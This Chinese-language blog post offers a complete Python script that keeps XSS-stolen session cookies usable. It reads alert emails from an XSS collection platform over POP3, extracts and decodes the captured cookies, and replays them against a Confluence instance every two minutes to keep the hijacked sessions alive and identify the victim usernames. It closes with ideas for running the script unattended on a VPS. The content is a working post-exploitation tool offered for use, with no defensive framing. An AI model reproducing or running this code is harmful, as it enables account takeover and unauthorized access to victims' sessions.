实战中xss打cookie的过程总是漫长的,目前虽然可以通过邮件、各种api等方式提醒,但是很多时候没法及时使用cookie,从而导致cookie过期,所以用python写了一个小脚本进行cookie会话维持,代码写得比较烂,仅供参考
(此脚本仅适用吐司的xss平台:https://xss.sb/,思路其实都一样,改一下正则就能用)
一、思路
1、获取邮箱指定发件人的最新邮件
2、匹配cookie信息进行url解码
3、发送数据包判断cookie是否可用,进行cookie会话维持
4、持续获取最新邮件并发包
二、使用
1、xss平台配置邮件提醒


2、配置邮箱账号密码以及发件人邮箱

3、配置数据包进行判断cookie是否有效,这里使用confluence进行演示

4、配置循环时间,可根据打到cookie的频率和cookie超时时间而定

5、使用效果

三、完整代码
import poplib
import re
import urllib
import requests
import time
from email.parser import Parser
from datetime import datetime
Cookie_list = []
def mail_rec():
server = poplib.POP3_SSL('pop.qq.com')
# 登录到邮件服务器
server.user('your_mail@qq.com')
server.pass_('your_passwd')
while True:
try:
# 获取邮件列表
resp, mails, octets = server.list()
# 遍历所有邮件
latest_mail_index = None
for i in range(len(mails), 0, -1):
resp, lines, octets = server.retr(i)
msg = Parser().parsestr(b'\n'.join(lines).decode())
from_ = msg.get('From')
if from_ == 'send_mail@qq.com': # 发件人邮箱
latest_mail_index = i
break
# 如果找到了指定发件人的邮件
if latest_mail_index is not None:
# 获取邮件正文
resp, lines, octets = server.retr(latest_mail_index)
msg = Parser().parsestr(b'\n'.join(lines).decode())
for part in msg.walk():
if part.get_content_type() == 'text/plain':
content = part.get_payload(decode=True).decode()
break
# 提取cookie
match = re.search(r"Cookie:(.*?) Address", content)
matched_string = match.group(1)
# url解码
decoded_string = urllib.parse.unquote(matched_string)
if decoded_string not in Cookie_list:
Cookie_list.append(decoded_string)
session_keep()
else:
print('没有找到指定发件人的邮件')
time.sleep(2 * 60) #每2分钟获取一次
except KeyboardInterrupt:
server.quit()
break
def session_keep():
url = "https://127.0.0.1:8090/rest/mywork/latest/status/notification/count"
for seesion in Cookie_list:
header = {
"Cookie":seesion,
"Referer":"https://127.0.0.1:8090/users/viewmyprofile.action",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54"
}
response = requests.get(url=url,headers=header,allow_redirects=False) #不进行重定向
now = datetime.now()
if response.status_code == 200:
user = response.headers['X-AUSERNAME'] #获取响应标头中用户信息
print("Cookie为:"+seesion+"状态:success"+" 用户名:"+user+" 时间:"+now.strftime('%Y-%m-%d %H:%M:%S'))
else:
print("Cookie为:"+seesion+"状态:failure")
Cookie_list.remove(seesion)
if __name__ == '__main__':
mail_rec()
四、后续可优化部分1、可以配置多个数据包模板,应对xss平台的多个项目,匹配Address发送不同的数据包
2、可以优化后台处理、结果输出等等,方便挂在vps上
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END